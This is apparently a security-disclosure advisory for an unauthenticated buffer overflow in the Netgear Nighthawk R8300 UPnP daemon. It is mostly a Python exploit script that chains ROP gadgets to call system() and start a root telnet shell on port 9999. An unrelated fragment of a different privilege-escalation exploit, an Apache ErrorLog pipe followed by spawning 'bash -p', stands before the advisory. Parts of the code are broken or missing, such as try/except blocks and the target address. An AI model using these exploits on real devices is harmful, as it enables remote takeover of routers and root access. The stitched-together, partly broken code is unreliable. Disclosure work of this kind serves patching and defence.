  cmd = sys.argv[1] if not COMMAND else COMMAND
<VirtualHost *:80>
DocumentRoot /var/www/
ErrorLog "|{}"
'''.format(cmd.replace('"', '\"')))

os.execvp('bash', ['bash', '-p'])

SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE


Find out how we exploited an unauthenticated Netgear Nighthawk R8300 vulnerability and gained root access to the device.

Vulnerability Summary

The Nighthawk X8 AC5000 (R8300) router released in 2014, is a popular device sold by Netgear with almost 2000 positive reviews on Amazon. A vulnerability in the way the R8300 handles UPNP packets allows unauthenticated attackers to cause the device to overflow an internal buffer and execute arbitrary code with the privileges of the ‘root’ user.


An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Netgear Nighthawk R8300 running firmware versions prior to

Vendor Response

The vendor has released a patch and an advisory:

Vulnerability Root Cause Analysis

A vulnerability in the way the R8300 handles incoming UPNP packets by its UPNP daemon allows remote attackers to overflow an internal buffer.

Below picture is the point that recv input point and vulFunction, we can send data to size 0x1fff:

If we look into vulFunction, the pointer (0x025E70) is overwritten with the return address of the strcpy function. The strcpy function has two arguments. arg1 is dst buffer, arg2 is src buffer and it will perform a copy until it meets the NULL byte. The dst buffer local variable is located at the position of ebp-0x634. The src buffer is under our full control and is only limited by its size to 0x1fff. By overflowing the dst buffer we can control PC value:

In order to successfully change the PC value, we need to reach the return part of vulFunction. We have to set its value to an existing pointer value that exists in memory (other loaded libraries functions).

By correctly crafting the data, we obtain control over the PC value:

ASLR Bypassing through Stack Reuse

The router has the ASLR mitigation turned on, which we can bypass using a ROP Attack. However, we are performing a copy call through the use of strcpy, which is sensitive to NULL bytes, which would in turn prevent us to use the ROP attack. Therefore to utilize an address that contains a NULL byte, we will need to use a stack reuse attack.

We will do this by combining two payloads, the composition of first payload is as follows:

s.send('a\x00'+expayload) #expayload is rop gadget

We will be sending a “a\x00” value at the beginning of the payload to avoid triggering the UPNP vulnerability, until our payload is in the the stack.
The second payload will control the PC value and change it to 0x230f0 and trigger the first payload in the stack. 0x230f0 gadget can control stack pointer.

The figure below illustrates the overall exploit and payloads:

We decided to use the BSS area of 0x9E150 to place our strings that we will later use for exploitation. Using strcpy gadget 0x13648 and string gadget in the binary, we can create the exploiting payload and execute system gadget 0x1A83C.



import socket
import time
import sys
from struct import pack

a= """
    # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
    # Date : 2020.03.09 
    # POC : system("telnetd -l /bin/sh -p 9999& ") Execute 
    # Desc : execute telnetd to access router						 
print a

p32 = lambda x: pack("<L", x)

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F'
expayload = ''

payload = payload.replace('z3Bz','\xff\xff\x1b\x40') # Need to Existed Address

payload = payload.replace(' AAA ','\xf0\x30\x02\x00') #change eip

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

.text:00013644                 MOV             R0, R10 ; dest
.text:00013648                 MOV             R1, R5  ; src
.text:0001364C                 BL              strcpy
.text:00013650                 MOV             R0, R4
.text:00013654                 ADD             SP, SP, #0x5C ; '\'
.text:00013658                 LDMFD           SP!, {R4-R8,R10,PC}

bssBase = 0x9E150   #string bss BASE Address

expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(0x423D7) #R5  //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8 
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(0x40CA4 ) #R5  //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(0x4704A) #R5  //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(0x04C281) #R5  //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(0x40CEC) #R5  //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(0x9CB5) #R5  //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(0x41B17) #R5  //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(0x4A01D) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(0x461C1) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

print "[*] Make Payload ..."

.text:0001A83C                 MOV             R0, R4  ; command
.text:0001A840                 BL              system

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase) #R4
expayload += p32(0x47398) #R5 
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x1A83C) #system(string) telnetd -l

s.connect(('', 1900))

print "[*] Send Proof Of Concept payload"

s.send('a\x00'+expayload)#expayload is rop gadget 


def checkExploit():
	soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		ret = soc.connect(('',9999))
		return 1

		return 0

if checkExploit():
	print "[*] Exploit Success"
	print "[*] You can access telnet 9999"
	print "[*] Need to Existed Address cross each other"
	print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
	print "[*] To exploit reexecute upnpd, description"
	print "[*] Access and enable telnet"
	print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"

print """

[*] Done ...